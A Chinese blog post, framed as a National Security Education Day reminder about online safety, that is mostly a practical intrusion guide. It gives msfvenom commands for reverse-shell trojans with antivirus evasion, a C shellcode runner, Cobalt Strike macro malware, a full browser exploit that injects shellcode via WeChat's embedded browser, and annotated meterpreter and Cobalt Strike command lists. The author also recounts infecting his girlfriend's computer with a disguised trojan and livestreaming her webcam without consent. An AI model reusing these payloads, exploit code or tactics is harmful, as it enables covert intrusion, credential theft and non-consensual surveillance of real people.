Life has its own fate, and meeting may not be accidental.

0%

4.15提醒朋友注意自身网络安全记录

那天闲着蛋疼,逛博客的时候发现有一篇教育意义(很狗)的博客,就想着4.15也快到了。趁着这个机会提醒下身边的朋友,在平常网上冲浪的时候注意下网络安全,说不定玩着玩着可能就被不知不觉的直播了。
阅读的文章:一次渗透妹子电脑开摄像头全过程

看着特别有意思,不过实践起来一定要注意适当。别干违法的事= =
还是简单描述具体思路好了,详细的如果实现不了私聊

具体思路

  • 第一步
    构建恶意文件
    1
    1.指定一个可执行程序 捆绑木马
    2
    msfvenom -p windows/x64/meterpreter_reverse_tcp -e x64/zutto_dekiru LHOST=[IP] LPORT=3333 -x webshell.exe -i 12 -f exe -o /root/webshell.exe
    3
    4
    2.联合shellcodeloader免杀制作.bin文件
    5
    msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=[IP] LPORT=3333 -e x64/zutto_dekiru -f raw -o windows.bin
    6
    7
    3.生成c文件
    8
    msfvenom -a x64 --platform windows -p windows/x64/meterpreter/reverse_tcp -e x64/zutto_dekiru -i 10 lhost=[IP] lport=3333 -f c -o ~/windows.c
    9
    10
    4.Cobaltstrike生成宏病毒代码
    11
    一键生成宏代码后,新建一个文档或者用已经有的文档构建。(以word为例)步骤如下:
    12
    选择 "视图" -> 宏 -> 查看宏 -> 创建,填入生成的宏代码即可
  • 第二步
    制作免杀,msfvenom生成的恶意文件基本底裤都被研究完了,生成C文件,再
    1. 加壳免杀(这个比较简单,我会!!)
      • upx加壳
        1
        安装
        2
        sudo apt-get install upx
        3
        对windows.exe进行加壳,生成的windows-upxed.exe文件就是加壳后的
        4
        sudo upx windows.exe -o windows-upxed.exe
      • shellcodeloader免杀
        shellcodeloader
        生成bin文件后利用shellcodeloader生成免杀文件
    2. 生成C文件自己编译,上述命令生成了buf,编译生成exe(最简单的)
      1
      #inclde<bits/stdc++.h>
      2
      using namespace std;
      3
      #将生成的windows.c中buf字符串复制到这里
      4
      unsigned char buf[······];
      5
      int main(){
      6
       int (*func)() = (int(*)())buf;
      7
          func();
      8
          return 0;
      9
      }
  • 第三步
    缕清攻击策略(以我对象为例)
    1
    1. 恶意文件捆绑她专业软件破解版发给她(可能会被发现,免杀做的有点粗糙不一定能过)
    2
    2. 以八卦的形式(前几天看到项XX瓜,再结合她本身是朝阳区第一吃瓜群众,这个方法可行性最高!但是会报毒,否定)
  • 第四步
    开始搞看来只能做个恶意程序捆绑正常文件了,先做个垃圾文件。然后更换了图标为网易云的图标。直接冲!

    上线了~
    立马移动到别的pid进程去了,然后利用webcam_stream在公网起了个直播哈哈,不过看了会她发现关掉没用,就关机了,然后开机发现没了就跟我得瑟,同志们我还是下手轻了。

    后面通过她拍的照片发现摄像头边上的灯还是有点用的,毕竟突然亮起来肯定没好事,不过我有物理遮挡

    到现在我发的文件她都不接收了,除非带着vt截图!!果然一朝被蛇咬十年怕井绳,还是亲身经历过,才了解平常网上冲浪要注意安全!

MSF权限维持

1
ps -列出正在运行的进程
2
migrate 【PID】 -移动到一个指定的 PID 的活动进程

WeChat 0day上线

当我看到这个漏洞的时候,我知道轮到她以及他们得瑟的时代结束了~
首先生成属于自己的shellcode,然后将buf字符串替换\,0。在服务器上起一个服务,杀穿了~

1
<head>
2
<meta http-equiv="Content-Type" content="text/html;charset=utf-8">
3
</head>
4
<h1>PC微信好东西</h1>
5
<script>
6
ENABLE_LOG = true;
7
IN_WORKER = true;
8
// run calc and hang in a loop
9
//buf字符串放在这
10
var shellcode = [0xfc,0xe8······];
11
12
function print(data) {
13
}
14
var not_optimised_out = 0;
15
var target_function = (function (value) {
16
    if (value == 0xdecaf0) {
17
        not_optimised_out += 1;
18
    }
19
    not_optimised_out += 1;
20
    not_optimised_out |= 0xff;
21
    not_optimised_out *= 12;
22
});
23
24
25
for (var i = 0; i < 0x10000; ++i) {
26
    target_function(i);
27
}
28
29
30
31
32
var g_array;
33
var tDerivedNCount = 17 * 87481 - 8;
34
var tDerivedNDepth = 19 * 19;
35
36
37
function cb(flag) {
38
    if (flag == true) {
39
        return;
40
    }
41
    g_array = new Array(0);
42
    g_array[0] = 0x1dbabe * 2;
43
    return 'c01db33f';
44
}
45
46
47
function gc() {
48
    for (var i = 0; i < 0x10000; ++i) {
49
        new String();
50
    }
51
}
52
53
54
function oobAccess() {
55
    var this_ = this;
56
    this.buffer = null;
57
    this.buffer_view = null;
58
59
60
    this.page_buffer = null;
61
    this.page_view = null;
62
63
64
    this.prevent_opt = [];
65
66
67
    var kSlotOffset = 0x1f;
68
    var kBackingStoreOffset = 0xf;
69
70
71
    class LeakArrayBuffer extends ArrayBuffer {
72
        constructor() {
73
            super(0x1000);
74
            this.slot = this;
75
        }
76
    }
77
78
79
    this.page_buffer = new LeakArrayBuffer();
80
    this.page_view = new DataView(this.page_buffer);
81
82
83
    new RegExp({ toString: function () { return 'a' } });
84
    cb(true);
85
86
87
    class DerivedBase extends RegExp {
88
        constructor() {
89
            // var array = null;
90
            super(
91
                // at this point, the 4-byte allocation for the JSRegExp `this` object
92
                // has just happened.
93
                {
94
                    toString: cb
95
                }, 'g'
96
                // now the runtime JSRegExp constructor is called, corrupting the
97
                // JSArray.
98
            );
99
100
101
            // this allocation will now directly follow the FixedArray allocation
102
            // made for `this.data`, which is where `array.elements` points to.
103
            this_.buffer = new ArrayBuffer(0x80);
104
            g_array[8] = this_.page_buffer;
105
        }
106
    }
107
108
109
    // try{
110
    var derived_n = eval(`(function derived_n(i) {
111
        if (i == 0) {
112
            return DerivedBase;
113
        }
114
115
116
        class DerivedN extends derived_n(i-1) {
117
            constructor() {
118
                super();
119
                return;
120
                ${"this.a=0;".repeat(tDerivedNCount)}
121
            }
122
        }
123
124
125
        return DerivedN;
126
    })`);
127
128
129
    gc();
130
131
132
133
134
    new (derived_n(tDerivedNDepth))();
135
136
137
    this.buffer_view = new DataView(this.buffer);
138
    this.leakPtr = function (obj) {
139
        this.page_buffer.slot = obj;
140
        return this.buffer_view.getUint32(kSlotOffset, true, ...this.prevent_opt);
141
    }
142
143
144
    this.setPtr = function (addr) {
145
        this.buffer_view.setUint32(kBackingStoreOffset, addr, true, ...this.prevent_opt);
146
    }
147
148
149
    this.read32 = function (addr) {
150
        this.setPtr(addr);
151
        return this.page_view.getUint32(0, true, ...this.prevent_opt);
152
    }
153
154
155
    this.write32 = function (addr, value) {
156
        this.setPtr(addr);
157
        this.page_view.setUint32(0, value, true, ...this.prevent_opt);
158
    }
159
160
161
    this.write8 = function (addr, value) {
162
        this.setPtr(addr);
163
        this.page_view.setUint8(0, value, ...this.prevent_opt);
164
    }
165
166
167
    this.setBytes = function (addr, content) {
168
        for (var i = 0; i < content.length; i++) {
169
            this.write8(addr + i, content[i]);
170
        }
171
    }
172
    return this;
173
}
174
175
176
function trigger() {
177
    var oob = oobAccess();
178
179
180
    var func_ptr = oob.leakPtr(target_function);
181
    print('[*] target_function at 0x' + func_ptr.toString(16));
182
183
184
    var kCodeInsOffset = 0x1b;
185
186
187
    var code_addr = oob.read32(func_ptr + kCodeInsOffset);
188
    print('[*] code_addr at 0x' + code_addr.toString(16));
189
190
191
    oob.setBytes(code_addr, shellcode);
192
193
194
    target_function(0);
195
}
196
197
198
try{
199
    print("start running");
200
    trigger();
201
}catch(e){
202
    print(e);
203
}
204
</script>

meterpreter命令详解

1
    Command              Description
2
    -------                   -----------
3
    ?                         帮助菜单
4
    background                当前会议的背景
5
    bg                        背景的别称
6
    bgkill                    杀死一个后台计价器脚本
7
    bglist                    列出正在运行的后台脚本
8
    bgrun                     以后台线程的形式执行抄表器脚本
9
    channel                   显示信息或控制活动通道
10
    close                     关闭通道
11
    disable_unicode_encoding  禁用unicode字符串的编码。
12
    enable_unicode_encoding   启用unicode字符串的编码。
13
    exit                      终止流量计会话
14
    get_timeouts              获取当前会话超时值
15
    guid                      获取会话GUID
16
    help                      帮助菜单
17
    info                      显示邮政模块的信息
18
    irb                       在当前会话上打开一个交互式Ruby shell
19
    load                      装入一个或多个表前仪分机
20
    machine_id                获取连接到会话的机器的MSF ID。
21
    migrate                   将服务器迁移到另一个进程
22
    pivot                     管理中枢监听器
23
    pry                       在当前会话上打开Pry调试器。
24
    quit                      终止流量计会话
25
    read                      从通道中读取数据
26
    resource                  运行存储在文件中的命令
27
    run                       执行一个抄表器脚本或Post模块。
28
    secure                    (重)在会话上协商TLV数据包加密问题
29
    sessions                  快速切换到另一个会话
30
    set_timeouts              设置当前会话超时值
31
    sleep                     迫使Meterpreter安静下来,然后重新建立会话。
32
    transport                 改变当前的传输机制
33
    use                       "load "的弃用别名
34
    uuid                      获取当前会话的UUID
35
    write                     将数据写入通道
36
Stdapi: File system Commands
37
============================
38
    Command       Description
39
    -------       -----------
40
    cat           将文件内容读到屏幕上
41
    cd            更改目录
42
    checksum      检索文件的校验和
43
    cp            将源头复制到目的地
44
    dir           列表文件(ls的别名
45
    download      下载文件或目录
46
    edit          编辑文件
47
    getlwd        打印本地工作目录
48
    getwd         打印工作目录
49
    lcd           更改本地工作目录
50
    lls           列出本地文件
51
    lpwd          打印本地工作目录
52
    ls            列表文件
53
    mkdir         制作目录
54
    mv            将源头移动到目的地
55
    pwd           打印工作目录
56
    rm            删除指定的文件
57
    rmdir         删除目录
58
    search        搜索文件
59
    show_mount    列出所有挂载点/逻辑驱动器
60
    upload        上传文件或目录
61
Stdapi: Networking Commands
62
===========================
63
    Command       Description
64
    -------       -----------
65
    arp           显示主机ARP缓存
66
    getproxy      显示当前的代理配置
67
    ifconfig      显示界面
68
    ipconfig      显示界面
69
    netstat       显示网络连接
70
    portfwd       将本地端口转发给远程服务
71
    resolve       在目标机上解析一组主机名。
72
    route         查看和修改路由表
73
Stdapi: System Commands
74
=======================
75
    Command       Description
76
    -------       -----------
77
    clearev       清除事件日志
78
    drop_token    放弃任何活动的冒充令牌。
79
    execute       执行一个命令
80
    getenv        获取一个或多个环境变量值
81
    getpid        获取当前进程标识符
82
    getprivs      试图启用当前进程的所有可用特权
83
    getsid        获取服务器正在运行的用户的SID为
84
    getuid        获取服务器运行的用户为
85
    kill          终止一个进程
86
    localtime     显示目标系统的本地日期和时间。
87
    pgrep         按名称过滤进程
88
    pkill         按名称终止进程
89
    ps            列出正在运行的进程
90
    reboot        重新启动远程计算机
91
    reg           修改远程注册表并与之互动
92
    rev2self      在远程机器上调用RevertToSelf()。
93
    shell         进入系统命令行
94
    shutdown      关闭远程电脑
95
    steal_token   试图从目标进程中窃取冒充令牌
96
    suspend       暂停或恢复进程清单。
97
    sysinfo       获取远程系统的信息,如操作系统。
98
Stdapi: User interface Commands
99
===============================
100
    Command        Description
101
    -------        -----------
102
    enumdesktops   列出所有可访问的桌面和窗口站
103
    getdesktop     获取当前的仪表盘桌面
104
    idletime       返回远程用户闲置的秒数。
105
    keyboard_send  发送按键
106
    keyevent       发送关键事件
107
    keyscan_dump   转储按键缓冲区
108
    keyscan_start  开始捕捉按键
109
    keyscan_stop   停止捕捉按键
110
    mouse          发送鼠标事件
111
    screenshare    实时观看远程用户的桌面。
112
    screenshot     抓取交互式桌面的截图
113
    setdesktop     更改当前桌面的计价器
114
    uictl          控制一些用户界面组件
115
Stdapi: Webcam Commands
116
=======================
117
    Command        Description
118
    -------        -----------
119
    record_mic     用默认麦克风录制音频X秒。
120
    webcam_chat    开始视频聊天
121
    webcam_list    网络摄像机列表
122
    webcam_snap    从指定的网络摄像头拍摄快照
123
    webcam_stream  播放指定网络摄像头的视频流
124
Stdapi: Audio Output Commands
125
=============================
126
    Command       Description
127
    -------       -----------
128
    play          在目标系统上播放音频文件,没有任何内容写入磁盘
129
Priv: Elevate Commands
130
======================
131
    Command       Description
132
    -------       -----------
133
    getsystem     试图将你的权限提升到本地系统的权限。
134
Priv: Password database Commands
135
================================
136
    Command       Description
137
    -------       -----------
138
    hashdump      转储SAM数据库的内容
139
Priv: Timestomp Commands
140
========================
141
    Command       Description
142
    -------       -----------
143
    timestomp     操作文件的MACE属性

Cobaltstrike beacon详解

1
命令                              描述
2
-------                          --------
3
argue                            匹配过程的虚假参数
4
blockdlls                        阻止子进程中的非微软DLLs
5
browserpivot                     设置浏览器pivot会话
6
cancel                           取消正在进行的下载
7
cd                               更改目录
8
checkin                          Call home and post data
9
chromedump                       恢复谷歌浏览器的证书
10
clear                            清除信标队列
11
connect                          通过TCP连接到一个Beacon对等体
12
covertvpn                        部署Covert VPN客户端
13
cp                               复制文件
14
dcsync                           从DC中提取密码哈希值
15
desktop                          查看目标的桌面并与之互动
16
dllinject                        在进程中注入Reflective DLL。
17
dllload                          用LoadLibrary()将DLL加载到一个进程中。
18
download                         下载文件
19
downloads                        列出正在进行的文件下载
20
drives                           在目标上列出驱动器
21
elevate                          在升高的上下文中生成一个会话
22
execute                          在目标机上执行程序(无输出)
23
executeassembly                  在目标机上执行本地.NET程序。
24
exit                             终止信标会话
25
getprivs                         启用当前令牌的系统权限
26
getsystem                        试图获得系统
27
getuid                           获取用户ID
28
hashdump                         转储密码哈希
29
help                             帮助菜单
30
inject                           在特定的进程中产生一个会话
31
inlineexecute                    在此环节中运行一个信标对象文件
32
jobkill                          杀死一个长期存在的后期开发任务。
33
jobs                             列出长期运行的开发后任务(List long-running post-exploitation tasks)
34
jump                             在远程主机上生成一个会话
35
kerberos_ccache_use              将缓存中的 kerberos ticket 应用到这个会话中。
36
kerberos_ticket_purge            清除本次会话中的kerberos票据
37
kerberos_ticket_use              将 kerberos ticket 应用到这个会话
38
keylogger                        启动击键记录器
39
kill                             杀死一个进程
40
link                             通过命名的管道连接到Beacon对等体
41
logonpasswords                   用mimikatz转储证书和哈希值。
42
ls                               列表文件
43
make_token                       创建一个传递凭证的令牌
44
mimikatz                         运行mimikatz命令
45
mkdir                            建立一个目录
46
mode                             dns 使用DNS A作为数据通道(仅限DNS信标)
47
mode                             dnstxt 使用DNS TXT作为数据通道(仅限DNS信标)
48
mode                             dns6 使用 DNS AAAA 作为数据通道(仅适用于 DNS 信标)。
49
mv                               移动文件
50
net                              网络和主机枚举工具
51
note                             为该信标指定一个注释
52
portscan                         扫描网络中的开放服务
53
powerpick                        通过Unmanaged PowerShell执行命令。
54
powershell                       通过powershell.exe执行命令。
55
powershellimport                 导入一个powershell脚本
56
ppid                             为生成的postex作业设置父级PID。
57
printscreen                      通过PrintScr方法拍摄一张截图
58
ps                               显示过程列表
59
psinject                         在特定进程中执行PowerShell命令
60
pth                              使用Mimikatz的Passthehash。
61
pwd                              打印当前目录
62
reg                              查询注册表
63
remoteexec                       在远程主机上运行一个命令
64
rev2self                         恢复到原来的令牌
65
rm                               移除文件或文件夹
66
rportfwd                         设置逆向端口转发
67
rportfwd_local                   通过Cobalt Strike客户端设置反向端口转发。
68
run                              在目标机上执行程序(返回输出)
69
runas                            以其他用户身份执行程序
70
runasadmin                       在提高的上下文中执行程序( Execute a program in an elevated context)
71
runu                             在另一个PID下执行程序
72
screenshot                       拍一张截图
73
screenwatch                      定期对桌面进行截屏
74
setenv                           设置一个环境变量
75
shell                            通过cmd.exe执行命令。
76
shinject                         将shellcode注入到进程中
77
shspawn                          生成进程并将shellcode注入其中
78
sleep                            设置信标睡眠时间
79
socks                            启动SOCKS4a服务器来中继流量。
80
socks                            停止SOCKS4a服务器
81
spawn                            产生一个会话
82
spawnas                          以另一个用户的身份生成一个会话
83
spawnto                          设置可执行文件以将进程生成到
84
spawnu                           在另一个进程下生成一个会话
85
spunnel                          通过 rportfwd 生成和隧道代理。
86
spunnel_local                    通过Cobalt Strike客户端rportfwd生成和挖掘一个代理。
87
ssh                              使用SSH在主机上生成一个SSH会话。
88
sshkey                           使用SSH在主机上生成一个SSH会话。
89
steal_token                      从进程中窃取访问令牌
90
timestomp                        将时间戳从一个文件应用到另一个文件
91
unlink                           断开与母信标的连接
92
upload                           上传文件

参考文章

【Windows】Shellcode免杀,过360、火绒、Defender 静态及主防
微信 RCE 0day
chrome(最新版可用) 0day上线cs & wx 0day上线
远控免杀专题文章(1)-基础篇
Metasploit(1):记录一次Win10的渗透过程

工具

shellcodeloader